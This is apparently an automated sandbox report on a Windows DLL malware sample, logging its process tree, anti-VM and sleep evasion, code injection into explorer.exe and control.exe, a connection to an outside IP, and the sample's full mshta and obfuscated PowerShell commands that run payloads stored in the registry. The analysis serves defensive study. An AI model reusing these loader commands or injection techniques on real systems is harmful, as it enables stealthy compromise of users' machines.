                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\control.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                      Malware Analysis System Evasion

                      barindex
                      Uses ping.exe to sleep
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping localhost -n 5
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6852Thread sleep time: -12912720851596678s >= -30000sJump to behavior
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\zn133k50.dllJump to dropped file
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nthaltvx.dllJump to dropped file
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6200Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3221Jump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeCheck user administrative privileges: GetTokenInformation,DecisionNodes
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CB65C2 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary,3_2_04CB65C2
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CB99BC lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError,3_2_04CB99BC
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CCBAD1 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,3_2_04CCBAD1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CBFD47 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree,3_2_04CBFD47
                      Source: explorer.exe, 00000019.00000000.509234850.00000000080ED000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
                      Source: explorer.exe, 00000019.00000000.476427259.0000000000680000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: _VMware_SATA_CD00#5&280b647&
                      Source: explorer.exe, 00000019.00000000.496672719.000000000069D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
                      Source: explorer.exe, 00000019.00000000.490287156.000000000820E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00
                      Source: explorer.exe, 00000019.00000000.505272751.00000000062C4000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
                      Source: explorer.exe, 00000019.00000000.498968199.0000000004287000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}0
                      Source: rundll32.exe, 00000003.00000003.403411148.0000000002E21000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.501297168.0000000002DBA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.403462747.0000000002DEB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.393829384.0000000002E21000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.501461049.0000000002E21000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                      Source: explorer.exe, 00000019.00000000.490287156.000000000820E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
                      Source: explorer.exe, 00000019.00000000.509234850.00000000080ED000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
                      Source: explorer.exe, 00000019.00000000.490287156.000000000820E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00l
                      Source: rundll32.exe, 00000003.00000003.403411148.0000000002E21000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.393829384.0000000002E21000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.501461049.0000000002E21000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWD
                      Source: mshta.exe, 0000000D.00000003.410851238.000001C7D9B50000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}n
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CBEC00 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey,3_2_04CBEC00
                      Source: C:\Windows\System32\loaddll32.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CB8FEC StrRChrA,_strupr,lstrlen,CreateEventA,RtlAddVectoredExceptionHandler,GetLastError,RtlRemoveVectoredExceptionHandler,3_2_04CB8FEC

                      HIPS / PFW / Operating System Protection Evasion

                      barindex
                      System process connects to network (likely due to code injection or exploit)
                      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 185.189.151.28 80Jump to behavior
                      Writes to foreign memory regions
                      Source: C:\Windows\SysWOW64\rundll32.exeMemory written: C:\Windows\System32\control.exe base: 7FF7BF3512E0Jump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeMemory written: C:\Windows\System32\control.exe base: 7FF7BF3512E0Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\explorer.exe base: 49C000Jump to behavior
                      Injects code into the Windows Explorer (explorer.exe)
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: PID: 3968 base: 49C000 value: 00Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: PID: 3968 base: 7FFC86661580 value: EBJump to behavior
                      Creates a thread in another existing process (thread injection)
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread created: C:\Windows\explorer.exe EIP: 86661580Jump to behavior
                      Source: unknownProcess created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Exhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Exhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
                      Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name iwcfhbmkpt -value gp; new-alias -name yuxesb -value iex; yuxesb ([System.Text.Encoding]::ASCII.GetString((iwcfhbmkpt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
                      Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name iwcfhbmkpt -value gp; new-alias -name yuxesb -value iex; yuxesb ([System.Text.Encoding]::ASCII.GetString((iwcfhbmkpt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))Jump to behavior
                      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1Jump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -hJump to behavior
                      Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name iwcfhbmkpt -value gp; new-alias -name yuxesb -value iex; yuxesb ([System.Text.Encoding]::ASCII.GetString((iwcfhbmkpt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nthaltvx.cmdlineJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zn133k50.cmdlineJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3047.tmp" "c:\Users\user\AppData\Local\Temp\CSCFB39A903173B4FAEAF71F3E48EC5D0FF.TMP"Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4508.tmp" "c:\Users\user\AppData\Local\Temp\CSC41D8DEC26D8340F3B72514D252AF5890.TMP"Jump to behavior
                      Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -hJump to behavior
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
                      Source: explorer.exe, 00000019.00000000.462244926.0000000000688000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.476444005.0000000000688000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.496655082.0000000000688000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ProgmanEXE^
                      Source: explorer.exe, 00000019.00000000.462449175.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.503922140.0000000005920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.490134138.00000000080ED000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                      Source: explorer.exe, 00000019.00000000.462449175.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.476899284.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.497029155.0000000000BE0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                      Source: explorer.exe, 00000019.00000000.462449175.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.476899284.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.497029155.0000000000BE0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                      Source: explorer.exe, 00000019.00000000.476464537.000000000069D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.462256144.000000000069D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.496672719.000000000069D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd4
                      Source: explorer.exe, 00000019.00000000.462449175.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.476899284.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.497029155.0000000000BE0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: WProgram Manager
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C73365 cpuid 3_2_04C73365
                      Source: C:\Windows\SysWOW64\rundll32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CC81F1 CreateNamedPipeA,GetLastError,CloseHandle,GetLastError,3_2_04CC81F1
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C776BB GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,3_2_04C776BB
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C76D78 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,3_2_04C76D78
